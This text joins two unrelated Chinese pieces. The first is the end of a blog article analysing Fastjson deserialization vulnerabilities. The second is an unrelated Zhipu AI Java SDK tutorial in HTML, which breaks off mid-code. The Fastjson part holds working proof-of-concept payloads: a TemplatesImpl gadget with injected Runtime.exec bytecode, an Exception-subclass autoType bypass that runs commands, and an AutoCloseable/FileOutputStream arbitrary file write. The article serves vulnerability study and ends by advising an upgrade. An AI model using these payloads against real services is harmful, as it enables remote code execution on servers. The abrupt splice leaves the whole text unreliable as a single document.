类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception { // 动态创建类 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Calculator"); // 定义类的初始化块插入代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); // 设置类名 String randomClassName = "Calculator"; cc.setName(randomClassName); // 设置父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 转位字节数组 byte[] bytes = cc.toBytecode(); String classBase64 = Base64.getEncoder().encodeToString(bytes); try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Calculator'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img]( 我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { private String command; public void setCommand(String command) { this.command = command; } @Override public String getMessage() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.example.CalcException\",\n" + " \"command\": \"open -a Calculator\"\n" + " }"; System.out.println(a); System.out.println(JSONObject.parse(a)); } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img]( 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/Users/gulihua/Downloads/1/2/test.txt", "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)
智谱AI-SDK入门实践之Java(保姆级教程)
<html> <head></head> <body> <div class="content ql-editor"> <p>大家好,我是影子,一名以Java学习为主,其余时间探索AI+编程的程序猿</p> <p><br></p> <p>今天跟大家分享一下智谱AI-SDK的入门用法,话不多说,我们直接开始</p> <p><br></p> <p><br></p> <h2>一、什么是智谱AI</h2> <p><br></p> <p>智谱AI(Zhipu AI)是一家致力于人工智能技术研发和应用的公司。该公司由清华大学背景的团队创立,专注于大</p> <p>模型技术的研究与推广。智谱AI在人工智能领域取得了显著成就,其发布的自研大模型GLM-4等产品。</p> <p><br></p> <p><br></p> <h2>二、SDK玩法</h2> <h3>(一) 注册账号</h3> <p><br></p> <p>进入官网(<a href="https://maas.aminer.cn" target="_blank">https://maas.aminer.cn/</a>),注册账号实名后,将会赠送<strong>有效期一个月</strong>的体验包。</p> <p><br></p> <p></p> <p><br></p> <p><br></p> <h3>(二) 查看自己的API Key</h3> <p><br></p> <p></p> <p><br></p> <p></p> <p><br></p> <p><br></p> <p><br></p> <p><br></p> <p>注意:我们常见的<strong><em>API_KEY和API_SECRET,这里采用了统一为API key,使用 .这个符号进行划分。</em></strong></p> <p>举个栗子:yingzix688.编程导航真不错。 (本人微信号:yingzix688,欢迎大家交流探讨)</p> <p>那么,<strong><em>API_KEY:yingzix688</em></strong></p> <p><strong><em>API_SECRET:编程导航真不错</em></strong></p> <p>大家只需要看自己的API key进行分割出来即可。</p> <p><br></p> <p><br></p> <h3>(三) 查阅官方github</h3> <p><br></p> <p>官方github地址:<a href="https://github.com/zhipuai/zhipuai-sdk-java-v4" target="_blank">https://github.com/zhipuai/zhipuai-sdk-java-v4</a></p> <p><br></p> <h4>引入依赖</h4> <div class="ql-code-block-container"> <div class="ql-code-block"> <dependency> </div> <div class="ql-code-block"> <groupId>cn.bigmodel.openapi</groupId> </div> <div class="ql-code-block"> <artifactId>oapi-java-sdk</artifactId> </div> <div class="ql-code-block"> <version>release-V4-2.0.0</version> </div> <div class="ql-code-block"> </dependency> </div> </div> <p><br></p> <h4>官方示例代码</h4> <div class="ql-code-block-container"> <div class="ql-code-block"> package com.zhipu.oapi.demo; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> import com.alibaba.fastjson.JSON; </div> <div class="ql-code-block"> import com.fasterxml.jackson.annotation.JsonInclude; </div> <div class="ql-code-block"> import com.fasterxml.jackson.core.JsonProcessingException; </div> <div class="ql-code-block"> import com.fasterxml.jackson.core.type.TypeReference; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.DeserializationFeature; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.ObjectMapper; </div> <div class="ql-code-block"> import com.fasterxml.jackson.databind.PropertyNamingStrategy; </div> <div class="ql-code-block"> import com.zhipu.oapi.ClientV4; </div> <div class="ql-code-block"> import com.zhipu.oapi.Constants; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.embedding.EmbeddingApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.embedding.EmbeddingRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.FileApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.QueryFileApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.file.QueryFilesRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.fine_turning.*; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.image.CreateImageRequest; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.image.ImageApiResponse; </div> <div class="ql-code-block"> import com.zhipu.oapi.service.v4.model.*; </div> <div class="ql-code-block"> import io.reactivex.Flowable; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> import java.util.ArrayList; </div> <div class="ql-code-block"> import java.util.HashMap; </div> <div class="ql-code-block"> import java.util.List; </div> <div class="ql-code-block"> import java.util.Map; </div> <div class="ql-code-block"> import java.util.concurrent.atomic.AtomicBoolean; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public class V4OkHttpClientTest { </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final String API_KEY = ""; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final String API_SECRET = ""; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final ClientV4 client = new ClientV4.Builder(API_KEY,API_SECRET).build(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static final ObjectMapper mapper = defaultObjectMapper(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static ObjectMapper defaultObjectMapper() { </div> <div class="ql-code-block"> ObjectMapper mapper = new ObjectMapper(); </div> <div class="ql-code-block"> mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); </div> <div class="ql-code-block"> mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); </div> <div class="ql-code-block"> mapper.setPropertyNamingStrategy(PropertyNamingStrategy.SNAKE_CASE); </div> <div class="ql-code-block"> mapper.addMixIn(ChatFunction.class, ChatFunctionMixIn.class); </div> <div class="ql-code-block"> mapper.addMixIn(ChatCompletionRequest.class, ChatCompletionRequestMixIn.class); </div> <div class="ql-code-block"> mapper.addMixIn(ChatFunctionCall.class, ChatFunctionCallMixIn.class); </div> <div class="ql-code-block"> return mapper; </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 请自定义自己的业务id </div> <div class="ql-code-block"> private static final String requestIdTemplate = "mycompany-%d"; </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static void main(String[] args) throws Exception { </div> <div class="ql-code-block"> System.setProperty("org.slf4j.simpleLogger.logFile", "System.out"); </div> <div class="ql-code-block"> // 1. sse-invoke调用模型,使用标准Listener,直接返回结果 </div> <div class="ql-code-block"> testSseInvoke(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 2. invoke调用模型,直接返回结果 </div> <div class="ql-code-block"> // testInvoke(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 3. 异步调用 </div> <div class="ql-code-block"> // String taskId = testAsyncInvoke(); </div> <div class="ql-code-block"> // 4.异步查询 </div> <div class="ql-code-block"> // testQueryResult(taskId); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 5.文生图 </div> <div class="ql-code-block"> // testCreateImage(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 6. 图生文 </div> <div class="ql-code-block"> // testImageToWord(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 7. 向量模型 </div> <div class="ql-code-block"> // testEmbeddings(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 8.微调-上传微调数据集 </div> <div class="ql-code-block"> // testUploadFile(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 9.微调-查询上传文件列表 </div> <div class="ql-code-block"> // testQueryUploadFileList(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 10.微调-创建微调任务 </div> <div class="ql-code-block"> // testCreateFineTuningJob(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 11.微调-查询微调任务事件 </div> <div class="ql-code-block"> // testQueryFineTuningJobsEvents(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 12.微调-查询微调任务 </div> <div class="ql-code-block"> // testRetrieveFineTuningJobs(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 13.微调-查询个人微调任务 </div> <div class="ql-code-block"> // testQueryPersonalFineTuningJobs(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> // 14.微调-调用微调模型(参考模型调用接口,并替换成要调用模型的编码model) </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testQueryPersonalFineTuningJobs() { </div> <div class="ql-code-block"> QueryPersonalFineTuningJobRequest queryPersonalFineTuningJobRequest = new QueryPersonalFineTuningJobRequest(); </div> <div class="ql-code-block"> queryPersonalFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> QueryPersonalFineTuningJobApiResponse queryPersonalFineTuningJobApiResponse = client.queryPersonalFineTuningJobs(queryPersonalFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryPersonalFineTuningJobApiResponse)); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testQueryFineTuningJobsEvents() { </div> <div class="ql-code-block"> QueryFineTuningJobRequest queryFineTuningJobRequest = new QueryFineTuningJobRequest(); </div> <div class="ql-code-block"> queryFineTuningJobRequest.setJobId("ftjob-20240119114544390-zkgjb"); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setAfter("1"); </div> <div class="ql-code-block"> QueryFineTuningEventApiResponse queryFineTuningEventApiResponse = client.queryFineTuningJobsEvents(queryFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFineTuningEventApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 查询微调任务 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testRetrieveFineTuningJobs() { </div> <div class="ql-code-block"> QueryFineTuningJobRequest queryFineTuningJobRequest = new QueryFineTuningJobRequest(); </div> <div class="ql-code-block"> queryFineTuningJobRequest.setJobId("ftjob-20240119114544390-zkgjb"); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setLimit(1); </div> <div class="ql-code-block"> // queryFineTuningJobRequest.setAfter("1"); </div> <div class="ql-code-block"> QueryFineTuningJobApiResponse queryFineTuningJobApiResponse = client.retrieveFineTuningJobs(queryFineTuningJobRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFineTuningJobApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 创建微调任务 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testCreateFineTuningJob() { </div> <div class="ql-code-block"> FineTuningJobRequest request = new FineTuningJobRequest(); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> request.setRequestId(requestId); </div> <div class="ql-code-block"> request.setModel("chatglm3-6b"); </div> <div class="ql-code-block"> request.setTraining_file("file-20240118082608327-kp8qr"); </div> <div class="ql-code-block"> CreateFineTuningJobApiResponse createFineTuningJobApiResponse = client.createFineTuningJob(request); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(createFineTuningJobApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 微调文件上传列表查询 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testQueryUploadFileList() { </div> <div class="ql-code-block"> QueryFilesRequest queryFilesRequest = new QueryFilesRequest(); </div> <div class="ql-code-block"> QueryFileApiResponse queryFileApiResponse = client.queryFilesApi(queryFilesRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(queryFileApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 微调上传数据集 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testUploadFile() { </div> <div class="ql-code-block"> String filePath = "/Users/wujianguo/Downloads/transaction-data.jsonl"; </div> <div class="ql-code-block"> String purpose = "fine-tune"; </div> <div class="ql-code-block"> FileApiResponse fileApiResponse = client.invokeUploadFileApi(purpose, filePath); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(fileApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testEmbeddings() { </div> <div class="ql-code-block"> EmbeddingRequest embeddingRequest = new EmbeddingRequest(); </div> <div class="ql-code-block"> embeddingRequest.setInput("hello world"); </div> <div class="ql-code-block"> embeddingRequest.setModel(Constants.ModelEmbedding2); </div> <div class="ql-code-block"> EmbeddingApiResponse apiResponse = client.invokeEmbeddingsApi(embeddingRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(apiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 图生文 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testImageToWord() { </div> <div class="ql-code-block"> List<ChatMessage> messages = new ArrayList<>(); </div> <div class="ql-code-block"> List<Map<String, Object>> contentList = new ArrayList<>(); </div> <div class="ql-code-block"> Map<String, Object> textMap = new HashMap<>(); </div> <div class="ql-code-block"> textMap.put("type", "text"); </div> <div class="ql-code-block"> textMap.put("text", "图里有什么"); </div> <div class="ql-code-block"> Map<String, Object> typeMap = new HashMap<>(); </div> <div class="ql-code-block"> typeMap.put("type", "image_url"); </div> <div class="ql-code-block"> Map<String, Object> urlMap = new HashMap<>(); </div> <div class="ql-code-block"> urlMap.put("url", "https://cdn.bigmodel.cn/enterpriseAc/3f328152-e15c-420c-803d-6684a9f551df.jpeg?attname=24.jpeg"); </div> <div class="ql-code-block"> typeMap.put("image_url", urlMap); </div> <div class="ql-code-block"> contentList.add(textMap); </div> <div class="ql-code-block"> contentList.add(typeMap); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), contentList); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4V) </div> <div class="ql-code-block"> .stream(Boolean.FALSE) </div> <div class="ql-code-block"> .invokeMethod(Constants.invokeMethod) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse modelApiResponse = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(modelApiResponse)); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> private static void testCreateImage() { </div> <div class="ql-code-block"> CreateImageRequest createImageRequest = new CreateImageRequest(); </div> <div class="ql-code-block"> createImageRequest.setModel(Constants.ModelCogView); </div> <div class="ql-code-block"> // createImageRequest.setPrompt("画一个温顺可爱的小狗"); </div> <div class="ql-code-block"> ImageApiResponse imageApiResponse = client.createImage(createImageRequest); </div> <div class="ql-code-block"> System.out.println("imageApiResponse:" + JSON.toJSONString(imageApiResponse)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * sse调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testSseInvoke() { </div> <div class="ql-code-block"> List<ChatMessage> messages = new ArrayList<>(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatGLM和你哪个更强大"); </div> <div class="ql-code-block"> // ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "你能帮我查询2024年1月1日从北京南站到上海的火车票吗?"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div class="ql-code-block"> List<ChatTool> chatToolList = new ArrayList<>(); </div> <div class="ql-code-block"> ChatTool chatTool = new ChatTool(); </div> <div class="ql-code-block"> chatTool.setType(ChatToolType.FUNCTION.value()); </div> <div class="ql-code-block"> ChatFunctionParameters chatFunctionParameters = new ChatFunctionParameters(); </div> <div class="ql-code-block"> chatFunctionParameters.setType("object"); </div> <div class="ql-code-block"> Map<String, Object> properties = new HashMap<>(); </div> <div class="ql-code-block"> properties.put("departure", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "出发城市或车站"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("destination", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "目的地城市或车站"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> properties.put("date", new HashMap<String, Object>() {{ </div> <div class="ql-code-block"> put("type", "string"); </div> <div class="ql-code-block"> put("description", "要查询的车次日期"); </div> <div class="ql-code-block"> }}); </div> <div class="ql-code-block"> List<String> required = new ArrayList<>(); </div> <div class="ql-code-block"> required.add("departure"); </div> <div class="ql-code-block"> required.add("destination"); </div> <div class="ql-code-block"> required.add("date"); </div> <div class="ql-code-block"> chatFunctionParameters.setProperties(properties); </div> <div class="ql-code-block"> ChatFunction chatFunction = ChatFunction.builder() </div> <div class="ql-code-block"> .name("query_train_info") </div> <div class="ql-code-block"> .description("根据用户提供的信息,查询对应的车次") </div> <div class="ql-code-block"> .parameters(chatFunctionParameters) </div> <div class="ql-code-block"> .required(required) </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> chatTool.setFunction(chatFunction); </div> <div class="ql-code-block"> chatToolList.add(chatTool); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest.builder() </div> <div class="ql-code-block"> .model(Constants.ModelChatGLM4) </div> <div class="ql-code-block"> .stream(Boolean.TRUE) </div> <div class="ql-code-block"> .messages(messages) </div> <div class="ql-code-block"> .requestId(requestId) </div> <div class="ql-code-block"> .tools(chatToolList) </div> <div class="ql-code-block"> .toolChoice("auto") </div> <div class="ql-code-block"> .build(); </div> <div class="ql-code-block"> ModelApiResponse sseModelApiResp = client.invokeModelApi(chatCompletionRequest); </div> <div class="ql-code-block"> if (sseModelApiResp.isSuccess()) { </div> <div class="ql-code-block"> AtomicBoolean isFirst = new AtomicBoolean(true); </div> <div class="ql-code-block"> ChatMessageAccumulator chatMessageAccumulator = mapStreamToAccumulator(sseModelApiResp.getFlowable()) </div> <div class="ql-code-block"> .doOnNext(accumulator -> { </div> <div class="ql-code-block"> { </div> <div class="ql-code-block"> if (isFirst.getAndSet(false)) { </div> <div class="ql-code-block"> System.out.print("Response: "); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> if (accumulator.getDelta() != null && accumulator.getDelta().getTool_calls() != null) { </div> <div class="ql-code-block"> String jsonString = mapper.writeValueAsString(accumulator.getDelta().getTool_calls()); </div> <div class="ql-code-block"> System.out.println("tool_calls: " + jsonString); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> if (accumulator.getDelta() != null && accumulator.getDelta().getContent() != null) { </div> <div class="ql-code-block"> System.out.print(accumulator.getDelta().getContent()); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> }) </div> <div class="ql-code-block"> .doOnComplete(System.out::println) </div> <div class="ql-code-block"> .lastElement() </div> <div class="ql-code-block"> .blockingGet(); </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> Choice choice = new Choice(chatMessageAccumulator.getChoice().getFinishReason(), 0L, chatMessageAccumulator.getDelta()); </div> <div class="ql-code-block"> List<Choice> choices = new ArrayList<>(); </div> <div class="ql-code-block"> choices.add(choice); </div> <div class="ql-code-block"> ModelData data = new ModelData(); </div> <div class="ql-code-block"> data.setChoices(choices); </div> <div class="ql-code-block"> data.setUsage(chatMessageAccumulator.getUsage()); </div> <div class="ql-code-block"> data.setId(chatMessageAccumulator.getId()); </div> <div class="ql-code-block"> data.setCreated(chatMessageAccumulator.getCreated()); </div> <div class="ql-code-block"> data.setRequestId(chatCompletionRequest.getRequestId()); </div> <div class="ql-code-block"> sseModelApiResp.setFlowable(null); </div> <div class="ql-code-block"> sseModelApiResp.setData(data); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"> System.out.println("model output:" + JSON.toJSONString(sseModelApiResp)); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> public static Flowable<ChatMessageAccumulator> mapStreamToAccumulator(Flowable<ModelData> flowable) { </div> <div class="ql-code-block"> return flowable.map(chunk -> { </div> <div class="ql-code-block"> return new ChatMessageAccumulator(chunk.getChoices().get(0).getDelta(), null, chunk.getChoices().get(0), chunk.getUsage(), chunk.getCreated(), chunk.getId()); </div> <div class="ql-code-block"> }); </div> <div class="ql-code-block"> } </div> <div class="ql-code-block"><br> </div> <div class="ql-code-block"> /** </div> <div class="ql-code-block"> * 同步调用 </div> <div class="ql-code-block"> */ </div> <div class="ql-code-block"> private static void testInvoke() { </div> <div class="ql-code-block"> List<ChatMessage> messages = new ArrayList<>(); </div> <div class="ql-code-block"> ChatMessage chatMessage = new ChatMessage(ChatMessageRole.USER.value(), "ChatGLM和你哪个更强大"); </div> <div class="ql-code-block"> messages.add(chatMessage); </div> <div class="ql-code-block"> String requestId = String.format(requestIdTemplate, System.currentTimeMillis()); </div> <div class="ql-code-block"> // 函数调用参数构建部分 </div> <div 